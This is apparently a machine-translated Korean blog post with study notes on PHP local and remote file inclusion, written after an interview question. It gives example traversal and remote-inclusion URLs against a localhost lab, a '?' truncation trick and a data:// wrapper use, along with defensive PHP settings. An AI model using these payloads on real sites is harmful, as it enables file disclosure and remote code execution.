php 로 컬 파일 포함 & 원 격 파일 포함

1994 단어 web
이유: 면접 에서 물 어 봤 는데 실천 이 너무 적은 것 이 있 습 니 다. 이 블 로 그 를 써 서 기록 하 세 요.
php 파일 포함 함수:
include()
require()
include_once()
require_once()
로 컬 파일 포함:

exploit:
현재 디 렉 터 리 를 포함 하 는 lfi. txt (내용 은):
php本地文件包含&远程文件包含_第1张图片

크로스 디 렉 터 리 포함:
http://localhost:81/lfi/lfi.php?test=../lfi.txt #       lfi.txt  
http://localhost:81/lfi/lfi.php?test=/lfi_in/lfi.txt #       lfi.txt  

방어:
크로스 디 렉 터 리 방지:
php. ini 에 open 설정basedir
open_basedir = C:\Program Files\phpStudy\WWW\lfi #        (     )
open_basedir = C:\Program Files\phpStudy\WWW\lfi\ #        (      )

open_basedir 돌아 갈 수 있 음: wooyn 링크
로 컬 파일 포함 방지: 매 거 진 사용
$file =$_GET['test'];
switch ($file) {
	case 'lfi.txt':
		include('./lfi.txt');
		break;
	default:
		include('./notexists.txt');
		break;
}
?>

원 격 파일 포함:


exploit:
http://localhost:81/lfi/rfi.php?file=http://ip_address/php/rfi/rfi.txt?

기교:?url 의 query string 으로 해석 되 며 원 격 파일 에 포 함 될 때 코드 의 뒤의 내용 을 차단 할 수 있 습 니 다.
방어:
php. ini 프로필 에 allowurl_include=off
파일 사용 방법 포함:
1. 원 격 파일 포함 시 data: / / (> 5.2.0) 또는 input: / 프로 토 콜
/rfi.php?file=data:text/plain,
첨부: php 보안 설정
Register_globals =off
Open_basedir
Allow_url_include =off
Display_errors =off
Log_errors = on
Magic_quotes_gpc =off
Cgi.fix_pathinfo
Session.cookie_httponly

좋은 웹페이지 즐겨찾기